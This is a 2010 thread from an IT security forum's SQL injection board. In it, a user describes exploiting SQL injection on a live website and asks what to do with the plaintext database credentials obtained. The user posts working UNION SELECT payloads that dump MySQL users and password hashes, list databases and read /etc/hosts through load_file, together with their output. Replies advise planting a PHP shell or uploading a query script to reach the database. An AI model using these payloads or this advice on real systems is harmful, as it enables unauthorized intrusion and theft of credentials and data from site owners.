Waraxe IT Security Portal
Login or Register
November 17, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 56
Members: 0
Total: 56
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Host/mysql inj help!!!!!!!!!!!!
Post new topicReply to topic View previous topic :: View next topic
Host/mysql inj help!!!!!!!!!!!!
PostPosted: Sun May 23, 2010 3:26 pm Reply with quote
enshtein80
Beginner
Beginner
Joined: May 23, 2010
Posts: 4




I've exploited a sql bug from a website..and i was wonderin' what i could do with thes followin'..


Code:
union select 1,user(),2,3,4--+


Serveur@192.168.1.60

Code:
union select 1,database(),2,3,4--+


Alm


Code:
union select 1,concat(user,0x3e,password),2,3,4 from mysql.user--


Serveur>pass

(NOTE:well,I'v decrypted the mysql hash and i got the pass)



Code:
union select 1,concat(db,0x3e,host),2,3,4 from mysql.db--



Test>%

Test\_%>%

Caicu>localhost

Alm>localhost


Code:
union select 1,load_file('/etc/hosts'),2,3,4--


bd1.site.com
196.20.60.210



So,
1- I have, user+pwd in plaintext and db name, so what can i do with them?...plz need an answer.
2- I was wondering how I could find the HOST of mysql, to connect trought it.."localhost"
thanks..
View user's profile Send private message
PostPosted: Mon May 24, 2010 8:30 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




well if its localhost you would need some type of shell or SQL shell to connect to it. Also im guessing you already looked through the table_names/columns and didn't find anything? Like an admin login of some sort?
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Mon May 24, 2010 8:51 pm Reply with quote
enshtein80
Beginner
Beginner
Joined: May 23, 2010
Posts: 4




capt wrote:
well if its localhost you would need some type of shell or SQL shell to connect to it. Also im guessing you already looked through the table_names/columns and didn't find anything? Like an admin login of some sort?


Thanks for ur..Its mysql 4.x.x version And also I wasnt abel to find the table of admins I tried it manualy ( Brutus forcin'), I just want A solution to connect through MYSQL..
View user's profile Send private message
PostPosted: Tue May 25, 2010 1:49 am Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




you would have to find a way to spawn some type of PHP shell with a mySQL manager or simply uploading your own SQL query script to connect to the db to spit out some information that your wanting.
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue May 25, 2010 2:58 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




If the mysql server allows external connection you can connect directly, without access to the server.
View user's profile Send private message
PostPosted: Tue May 25, 2010 7:59 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




delta wrote:
If the mysql server allows external connection you can connect directly, without access to the server.


its localhost and rarely any host uses this any more.
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue May 25, 2010 9:26 pm Reply with quote
enshtein80
Beginner
Beginner
Joined: May 23, 2010
Posts: 4




delta wrote:
If the mysql server allows external connection you can connect directly, without access to the server.



I tried to connect directly ..Using applications that allow mysql connection..And It doesnt work. It seem that I must have an access through..


Quote:
its localhost and rarely any host uses this any more.



You're right it is a Localhost, must have an access through..for I can connect, If there any ideas ... paste them here please! Arrow
View user's profile Send private message
PostPosted: Wed May 26, 2010 2:46 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




private message me and we can talk there. Or we can use some type of messenger either way works with me if you want help. Your going to have to find a way to get a working shell up or some type of code that will allow you to run some mySQL querys.
View user's profile Send private message Visit poster's website MSN Messenger
Host/mysql inj help!!!!!!!!!!!!
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.050 Seconds